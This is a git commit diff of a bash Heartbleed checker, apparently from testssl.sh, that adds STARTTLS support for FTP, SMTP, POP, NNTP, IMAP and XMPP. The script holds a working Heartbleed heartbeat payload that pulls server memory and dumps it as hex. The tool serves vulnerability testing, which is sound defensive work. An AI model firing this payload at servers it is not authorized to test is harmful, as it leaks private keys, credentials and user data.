works also for nntp,ftp,imap,pop,xmpp +starttls now

This commit is contained in:
Dirk 2015-07-01 13:01:16 +02:00
parent 83dc3f707f
commit 21119d6d01

View File

@ -10,20 +10,20 @@
readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
NODE=""
[ -z "$1" ] && exit 1
NODE="$1"
PORT="443"
SLEEP=2
MAXSLEEP=10
SOCKREPLY=""
COL_WIDTH=32
[ -z "$1" ] && exit 1
# TLS 1.0=x01 1.1=0x02, 1.2=0x3
# the PoC contains per default only check for TLS1.0 as the is the least common denominator
TLSV=${2:-01}
heartbleed_payload="\x18\x03\x$TLSV\x00\x03\x01\x40\x00"
## ^^^^^^^ this is the thing!
## ^^^^^^^ this is the whole thing!
client_hello="
# TLS header (5 bytes)
@ -73,12 +73,11 @@ x00, x23, x00, x00,
# Extension: Heartbeat
x00, x0f, x00, x01, x01
"
msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
#msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n')
parse_hn_port() {
NODE="$1"
# strip "https", supposed it was supplied additionally
echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `
@ -87,7 +86,6 @@ parse_hn_port() {
# determine port, supposed it was supplied additionally
echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'`
echo -e "\n===> connecting to $NODE:$PORT\n"
}
@ -117,12 +115,7 @@ socksend() {
sockread() {
reply=$(dd bs=$1 count=1 <&5 2>/dev/null)
wait_kill $! $SLEEP
}
sockread1() {
[[ "x$2" == "x" ]] && maxsleep=10 || maxsleep=$2
[[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2
ret=0
ddreply=$(mktemp /tmp/ddreply.XXXXXX) || return 7
@ -136,6 +129,7 @@ sockread1() {
}
# arg1: string to send
# arg2: success string, yet to be parsed
starttls_line0() {
echo "$1" >&5
cat <&5 &
@ -152,6 +146,11 @@ starttls_line1() {
done
}
fixme(){
tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0
}
fd_socket(){
if ! exec 5<> /dev/tcp/$NODE/$PORT; then
echo "`basename $0`: unable to connect to $NODE:$PORT"
@ -159,11 +158,41 @@ fd_socket(){
fi
case "$1" in # port
25) starttls_line0 "EHLO testssl.sh"
starttls_line0 "STARTTLS"
21) # https://tools.ietf.org/html/rfc4217
starttls_line0 "FEAT"
starttls_line0 "AUTH TLS"
;;
25) #https://tools.ietf.org/html/rfc4217
starttls_line0 "EHLO testssl.sh" "250"
starttls_line0 "STARTTLS" "220"
;;
110) # https://tools.ietf.org/html/rfc2595
starttls_line0 "STLS" "OK"
;;
119|433) # https://tools.ietf.org/html/rfc4642
starttls_line0 "CAPABILITIES" "101"
starttls_line0 "STARTTLS" "382"
;;
143) # https://tools.ietf.org/html/rfc2595
starttls_line0 "a001 CAPABILITY" "OK"
starttls_line0 "a002 STARTTLS" "OK"
;;
389) # https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511
fixme "LDAP: FIXME not yet implemented"
exit 1
;;
674) # https://tools.ietf.org/html/rfc2595
fixme "ACAP: FIXME not yet implemented"
exit 1
;;
5222)
starttls_line0 "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" "proceed"
fixme "XMPP: FIXME not yet implemented"
;;
443|995|993|465|*) # we don't need a special command here
;;
443|*) ;;
esac
echo
}
close_socket(){
@ -182,12 +211,14 @@ echo "##### sending standard client hello with TLS version 03,$TLSV:"
socksend "$msg" $TLSV
sockread 16384
#sockread 10000
echo "##### reading server hello:"
#cat $SOCKREPLY | xxd | head -20
echo -e "$reply" | xxd | head -2
echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -10
echo "[...]"
echo
if [ 1 -ge $(echo "$SOCKREPLY" | xxd | wc -l) ]; then
tput bold; tput setaf 5; echo "TLS handshake failed"; tput sgr0
exit 1
fi
echo "###### sending payload with TLS version 03,$TLSV:"
socksend $heartbleed_payload $TLSV
@ -195,12 +226,10 @@ socksend $heartbleed_payload $TLSV
sockread 65534
echo "###### heartbleed reply: "
echo "============================="
#cat $SOCKREPLY | xxd | head -20
echo -e "$reply" | xxd -c$COL_WIDTH
echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -20
echo "============================="
lines_returned=`echo -e "$reply" | xxd | wc -l`
if [ $lines_returned -gt 1 ]; then
if [ $(echo "$SOCKREPLY" | xxd | wc -l) -gt 1 ]; then
tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
ret=1
else
@ -213,5 +242,5 @@ close_socket
exit $ret
# vim:tw=100:ts=5:sw=5
# $Id: heartbleed.bash,v 1.9 2015/07/01 08:12:36 dirkw Exp $
# vim:tw=100:ts=5:sw=5:expandtab
# $Id: heartbleed.bash,v 1.11 2015/07/01 10:56:57 dirkw Exp $